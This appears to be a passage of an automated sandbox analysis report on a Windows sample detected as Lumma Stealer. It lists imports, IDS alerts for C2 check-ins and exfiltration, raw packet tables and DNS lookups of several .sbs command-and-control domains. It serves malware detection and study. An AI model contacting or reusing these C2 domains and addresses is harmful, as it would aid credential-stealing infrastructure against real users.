RT_STRING	0x8f4b4	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x8f920	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x8fa88	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x8fbdc	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x8fce8	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x8fda4	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0x8ff64	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0x901b4	0x5a	data			0.7666666666666667
RT_MANIFEST	0x90210	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileTime, CloseHandle, CreateFileW, GetCurrentProcessId, CreateDirectoryW, RemoveDirectoryW, SetFileAttributesW, GetFileAttributesW, DeleteFileW, MoveFileW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipAlloc, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T01:05:20.635488+0100	2056752	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deepymouthi .sbs)	1	192.168.2.4	63735	1.1.1.1	53	UDP
2024-10-31T01:05:20.647197+0100	2056760	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (monstourtu .sbs)	1	192.168.2.4	59066	1.1.1.1	53	UDP
2024-10-31T01:05:20.659161+0100	2056756	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (heroicmint .sbs)	1	192.168.2.4	52412	1.1.1.1	53	UDP
2024-10-31T01:05:20.670626+0100	2056762	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sidercotay .sbs)	1	192.168.2.4	62213	1.1.1.1	53	UDP
2024-10-31T01:05:20.681200+0100	2056750	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (captaitwik .sbs)	1	192.168.2.4	58904	1.1.1.1	53	UDP
2024-10-31T01:05:20.691871+0100	2056766	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrigglesight .sbs)	1	192.168.2.4	57319	1.1.1.1	53	UDP
2024-10-31T01:05:20.704815+0100	2056754	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ferrycheatyk .sbs)	1	192.168.2.4	60925	1.1.1.1	53	UDP
2024-10-31T01:05:20.715001+0100	2056764	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snailyeductyi .sbs)	1	192.168.2.4	49626	1.1.1.1	53	UDP
2024-10-31T01:05:22.218518+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49734	104.102.49.254	443	TCP
2024-10-31T01:05:23.695491+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49736	104.21.32.196	443	TCP
2024-10-31T01:05:23.695491+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	104.21.32.196	443	TCP
2024-10-31T01:05:24.818599+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49738	104.21.32.196	443	TCP
2024-10-31T01:05:24.818599+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	104.21.32.196	443	TCP
2024-10-31T01:05:33.735583+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49743	104.21.32.196	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 01:05:20.739274025 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:20.739316940 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:20.739388943 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:20.742279053 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:20.742289066 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:21.581840038 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:21.581938982 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:21.584791899 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:21.584803104 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:21.585212946 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:21.637260914 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:21.683339119 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218590021 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218615055 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218624115 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218641043 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218650103 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218693972 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.218714952 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.218739986 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.218775988 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.234962940 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.235033989 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.235085964 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.235100031 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.235119104 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.235145092 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.243952990 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.244013071 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.250996113 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.251065016 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.251069069 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.251110077 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.253298044 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.267105103 CET	49734	443	192.168.2.4	104.102.49.254
Oct 31, 2024 01:05:22.267129898 CET	443	49734	104.102.49.254	192.168.2.4
Oct 31, 2024 01:05:22.557188034 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:22.557224035 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:22.557295084 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:22.557580948 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:22.557593107 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.198942900 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.199018002 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.202739000 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.202749014 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.202950954 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.212043047 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.212057114 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.212100983 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.695482969 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.695557117 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.695750952 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.695842981 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.695853949 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.695880890 CET	49736	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.695887089 CET	443	49736	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.754514933 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.754534960 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:23.754615068 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.754882097 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:23.754892111 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.373007059 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.373090982 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.374651909 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.374661922 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.374906063 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.384278059 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.384303093 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.384372950 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818615913 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818664074 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818707943 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818737030 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818764925 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.818770885 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818780899 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818799973 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.818818092 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.818826914 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.818861008 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.819174051 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.819180012 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.823539019 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.827194929 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.827208996 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.876058102 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.937252045 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.937314987 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.937366962 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.937376976 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.937434912 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:24.937475920 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.978060007 CET	49738	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:24.978075027 CET	443	49738	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.328232050 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.328272104 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.328356981 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.328758955 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.328771114 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.929438114 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.929585934 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.931088924 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.931097984 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.931299925 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.933322906 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.933512926 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.933546066 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:25.933619976 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:25.933626890 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:26.511029005 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:26.511121035 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:26.511179924 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:26.511323929 CET	49739	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:26.511339903 CET	443	49739	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:26.594139099 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:26.594232082 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:26.594321012 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:26.594605923 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:26.594641924 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.241219997 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.241444111 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.242652893 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.242697001 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.242925882 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.244626045 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.244755030 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.244796991 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.946172953 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.946269989 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:27.946348906 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.946692944 CET	49740	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:27.946738958 CET	443	49740	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.150660038 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.150697947 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.150762081 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.151283979 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.151297092 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.760766029 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.760828972 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.761895895 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.761904955 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.762182951 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.763256073 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.763370991 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.763406038 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:28.763477087 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:28.763484955 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:30.894750118 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:30.894866943 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:30.894937992 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:30.895054102 CET	49741	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:30.895076036 CET	443	49741	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.229635000 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.229739904 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.229836941 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.230123997 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.230161905 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.839014053 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.839112997 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.840233088 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.840281963 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.840527058 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:31.841691971 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.841804028 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:31.841841936 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:32.311294079 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:32.311392069 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:32.311463118 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:32.312036991 CET	49742	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:32.312082052 CET	443	49742	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:32.646065950 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:32.646115065 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:32.646198988 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:32.646533012 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:32.646545887 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.256228924 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.256303072 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.257484913 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.257496119 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.257735968 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.258882999 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.258979082 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.259001970 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.735585928 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.735683918 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.735743046 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.738683939 CET	49743	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.738704920 CET	443	49743	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.898740053 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.898780107 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:33.898865938 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.899183989 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:33.899197102 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.504427910 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.504538059 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.505803108 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.505814075 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.506042004 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.508285999 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.508367062 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.508372068 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.982683897 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.982820988 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:34.982882977 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.982975960 CET	49744	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:34.982990980 CET	443	49744	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.106194973 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.106247902 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.106347084 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.106642962 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.106656075 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.710856915 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.711061001 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.712194920 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.712204933 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.712408066 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:35.731758118 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.731837034 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:35.731843948 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.039542913 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.039673090 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.039741039 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:36.039834976 CET	49745	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:36.039859056 CET	443	49745	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.091118097 CET	49746	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:36.091171026 CET	443	49746	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.091238022 CET	49746	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:36.091686010 CET	49746	443	192.168.2.4	104.21.32.196
Oct 31, 2024 01:05:36.091706038 CET	443	49746	104.21.32.196	192.168.2.4
Oct 31, 2024 01:05:36.610814095 CET	49746	443	192.168.2.4	104.21.32.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 01:05:20.635488033 CET	63735	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.644352913 CET	53	63735	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.647197008 CET	59066	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.657962084 CET	53	59066	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.659161091 CET	52412	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.668311119 CET	53	52412	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.670625925 CET	62213	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.679044008 CET	53	62213	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.681200027 CET	58904	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.689716101 CET	53	58904	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.691870928 CET	57319	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.700426102 CET	53	57319	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.704814911 CET	60925	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.713851929 CET	53	60925	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.715001106 CET	49626	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.723653078 CET	53	49626	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:20.725841999 CET	59846	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:20.733666897 CET	53	59846	1.1.1.1	192.168.2.4
Oct 31, 2024 01:05:22.543515921 CET	62026	53	192.168.2.4	1.1.1.1
Oct 31, 2024 01:05:22.556458950 CET	53	62026	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 01:05:20.635488033 CET	192.168.2.4	1.1.1.1	0xc4cc	Standard query (0)	deepymouthi.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.647197008 CET	192.168.2.4	1.1.1.1	0x555c	Standard query (0)	monstourtu.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.659161091 CET	192.168.2.4	1.1.1.1	0x8f34	Standard query (0)	heroicmint.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.670625925 CET	192.168.2.4	1.1.1.1	0x8a01	Standard query (0)	sidercotay.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.681200027 CET	192.168.2.4	1.1.1.1	0xad99	Standard query (0)	captaitwik.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.691870928 CET	192.168.2.4	1.1.1.1	0x599d	Standard query (0)	wrigglesight.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.704814911 CET	192.168.2.4	1.1.1.1	0x2dc8	Standard query (0)	ferrycheatyk.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.715001106 CET	192.168.2.4	1.1.1.1	0x769	Standard query (0)	snailyeductyi.sbs	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.725841999 CET	192.168.2.4	1.1.1.1	0x31e9	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
